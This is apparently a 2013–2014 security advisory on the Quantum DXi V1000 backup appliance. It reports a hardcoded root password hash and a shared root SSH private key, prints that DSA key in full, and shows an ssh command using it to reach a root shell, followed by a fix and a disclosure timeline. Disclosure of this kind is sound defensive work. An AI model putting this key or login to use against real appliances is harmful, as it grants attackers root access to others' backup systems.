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2.6 KiB
Text
95 lines
No EOL
2.6 KiB
Text
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Author:
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xistence < xistence[at]0x90[.]nl >
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Affected products:
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Quantum DXi V1000 2.2.1 and below
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Affected vendors:
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Quantum
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http://quantum.com/
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Product description:
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Quantum DXi® V-Series is a virtual deduplication backup appliance that
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protects physical and
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virtual data across remote sites, the datacenter and cloud deployments.
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Details:
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[ 0x01 - Default root user ]
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The root user has a hardcoded password that is unknown and not changeable.
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Normally access is only through the restricted shells.
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The /etc/shadow file shows the following hash:
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root:$1$FGOgdWM7$dac9P0EJgTSX8a4zc4TXJ/:15783:0:99999:7:::
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[ 0x02 - Known SSH Private Key ]
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The /root/.ssh/authorized_keys on the appliance contains the following key
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(same with every deployment):
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-----BEGIN DSA PRIVATE KEY-----
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MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2
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hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t
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Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2
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+o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4
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6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5
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PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr
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E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK
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6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn
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k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u
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B3Upsx556K/iZPPnJZE=
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-----END DSA PRIVATE KEY-----
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Using the key on a remote system to login through SSH will give a root
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shell:
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$ ssh -i quantum.key root@192.168.2.117
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Last login: Mon Sep 23 21:27:19 2013 from 192.168.2.71
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Product Model = DXiV1000
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Hardware Configuration = V1000
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System Version = 2.2.1_MC
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Base OS Version = 2.2.1_MC-9499
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Application Version = 2.2.1_MC-50278
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SCM Build Version = Build14
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Kernel Version = 2.6.18-164.15.1.qtm.4
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[root@DXi000C29FB1EA1 ~]# id
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uid=0(root) gid=0(root)
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groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),103(adic)
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-----------
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Solution:
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Upgrade to version 2.3.0.1 or newer
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--------------
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Timeline:
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--------------
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30-09-2013 - Issues discovered and vendor notified
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30-09-2013 - Reply from vendor asking for more details
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01-10-2013 - Supplied more details how to replicate
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19-11-2013 - Asked for status update
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19-11-2013 - Reply from vendor that an updated release is due for March 2014
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xx-xx-2014 - Quantum DXi V1000 2.3.0.1 released
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17-03-2014 - Public disclosure |